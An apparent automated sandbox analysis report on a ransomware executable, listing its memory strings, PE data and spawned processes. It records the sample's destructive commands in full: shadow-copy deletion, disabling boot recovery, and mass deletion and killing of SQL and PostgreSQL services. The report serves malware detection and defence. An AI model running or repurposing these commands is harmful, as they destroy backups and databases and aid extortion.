Source: _145.exe	Binary or memory string: 0.%d%duser=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%dPOST%s\|%s\|%s\|%dSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe-lr-d-p-path-queueC:\C:\HOW TO RECOVER !!.TXT\sysnative\vssadmin.exe delete shadows /all /quietopen89A72EF01PowrProf.dllPowerSetActiveSchemeSeTakeOwnershipPrivilegeSeDebugPrivilegeNtQueryObjectntdll.dlluser32.dllShutdownBlockReasonCreatewindowDo NOT shutdown OR reboot your PC: this might damage your files permanently !valueSOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDownSOFTWARE\Microsoft\PolicyManager\default\Start\HideRestartSOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOutshutdownwithoutlogonSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemMaxConnectionTimeSOFTWARE\Policies\Microsoft\Windows NT\Terminal ServicesMaxDisconnectionTimeMaxIdleTimevector too longNtQuerySystemInformation\AES-128-ECBAES-192-ECBAES-256-ECBAES-128-CBCAES-192-CBCAES-256-CBCAES-128-CFB128AES-192-CFB128AES-256-CFB128AES-128-OFBAES-192-OFBAES-256-OFBAES-128-CTRAES-192-CTRAES-256-CTRAES-128-XTSAES-256-XTSAES-128-GCMAES-192-GCMAES-256-GCMAES-128-CCMAES-192-CCMAES-256-CCMAES-128-CCM-NO-TAGAES-192-CCM-NO-TAGAES-256-CCM-NO-TAGCAMELLIA-128-ECBCAMELLIA-192-ECBCAMELLIA-256-ECBCAMELLIA-128-CBCCAMELLIA-192-CBCCAMELLIA-256-CBCCAMELLIA-128-CFB128CAMELLIA-192-CFB128CAMELLIA-256-CFB128CAMELLIA-128-CTRCAMELLIA-192-CTRCAMELLIA-256-CTRCAMELLIA-128-GCMCAMELLIA-192-GCMCAMELLIA-256-GCMCAMELLIA-128-CCMCAMELLIA-192-CCMCAMELLIA-256-CCMCAMELLIA-128-CCM-NO-TAGCAMELLIA-192-CCM-NO-TAGCAMELLIA-256-CCM-NO-TAGARIA-128-ECBARIA-192-ECBARIA-256-ECBARIA-128-CBCARIA-192-CBCARIA-256-CBCARIA-128-CFB128ARIA-192-CFB128ARIA-256-CFB128ARIA-128-CTRARIA-192-CTRARIA-256-CTRARIA-128-GCMARIA-192-GCMARIA-256-GCMARIA-128-CCMARIA-192-CCMARIA-256-CCMARIA-128-CCM-NO-TAGARIA-192-CCM-NO-TAGARIA-256-CCM-NO-TAGDES-ECBDES-CBCDES-EDE-ECBDES-EDE-CBCDES-EDE3-ECBDES-EDE3-CBCCHACHA20CHACHA20-POLY1305AES-128-KWAES-192-KWAES-256-KWAES-128-KWPAES-192-KWPAES-256-KWPMD5RIPEMD160SHA1SHA224SHA256SHA384SHA512

Source: _145.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\_145.exe

Process Stats: CPU usage > 49%

Source: _145.exe, 00000000.00000003.2245387731.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2113220234.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs _145.exe
Source: _145.exe, 00000000.00000003.3041013104.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2234137390.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2253989150.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2276294552.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2267795653.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2114682457.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2164252436.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2865208023.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2105465625.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2222401734.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2955369843.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2212727565.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3002731819.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2177284410.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2113220234.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2176223936.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2279016236.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2211493941.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2624112600.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2244095869.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3022746641.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2138463076.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3030658115.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2994950360.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2167340878.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2960843087.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2169852528.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2170770842.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3026631650.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2239223907.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2215793298.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2241036278.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2810948305.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2132421144.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3036188875.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2112753503.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2064211551.00000000046E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs _145.exe
Source: _145.exe, 00000000.00000003.3024553021.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2135798477.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2242459092.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2168413825.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2118543111.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2107298089.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2259876479.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2142199872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2232783209.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2218505422.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2256838406.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2271372526.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2281686127.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2269948023.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2842090850.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2274365972.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2115765687.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2229599387.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2248365883.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2108719872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2251301766.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2126414835.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2162580458.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2122539513.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2064512833.00000000046E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameVSSADMIN.EXE.MUIj% vs _145.exe
Source: _145.exe, 00000000.00000003.2064512833.00000000046E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2064512833.00000000046E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameVSSADMIN.EXEj% vs _145.exe
Source: _145.exe, 00000000.00000003.2064512833.00000000046E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs _145.exe
Source: _145.exe, 00000000.00000003.2964374833.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2119295159.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2808026680.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2264482854.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2064634029.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2279852201.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2957644083.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2282905702.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3028086799.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2173823123.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe

Source: _145.exe

ReversingLabs: Detection: 76%

Source: _145.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\_145.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\_145.exe C:\Users\user\Desktop\_145.exe
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\vssadmin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc delete "MSSQLFDLauncher"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc delete "MSSQLFDLauncher"

Source: C:\Users\user\Desktop\_145.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\_145.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\89dad5d484a9f889a3a8dfca823edc3e_9e146be9-c76a-4720-bcdb-53011b87bd06

Jump to behavior

Source: classification engine

Classification label: mal100.rans.spyw.evad.winEXE@16/1026@1/5

Source: C:\Users\user\Desktop\_145.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6400:120:WilError_03

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: _145.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: _145.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: _145.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: _145.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: _145.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: _145.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: _145.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: _145.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\HOW TO BACK FILES.txtt source: _145.exe, 00000000.00000003.2463883716.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2448155795.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2474161549.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2468665310.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2446209908.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2421851748.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2470248366.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2424145871.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2444794305.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2458250816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: _145.exe, 00000000.00000003.2768934459.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2768594020.00000000046B9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3033685962.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.\u source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.erroro source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*y\n source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbansferApiGroup003495205506.txtf-4 source: _145.exe, 00000000.00000003.2419605565.0000000004710000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\HOW TO BACK FILES.txtxtxC;Gl source: _145.exe, 00000000.00000003.2810948305.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2808026680.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\* source: _145.exe, 00000000.00000003.3033904369.0000000000C42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *ntkrnlmp.pdb.x source: _145.exe, 00000000.00000003.2768934459.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3033685962.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp

Source: _145.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: _145.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: _145.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: _145.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
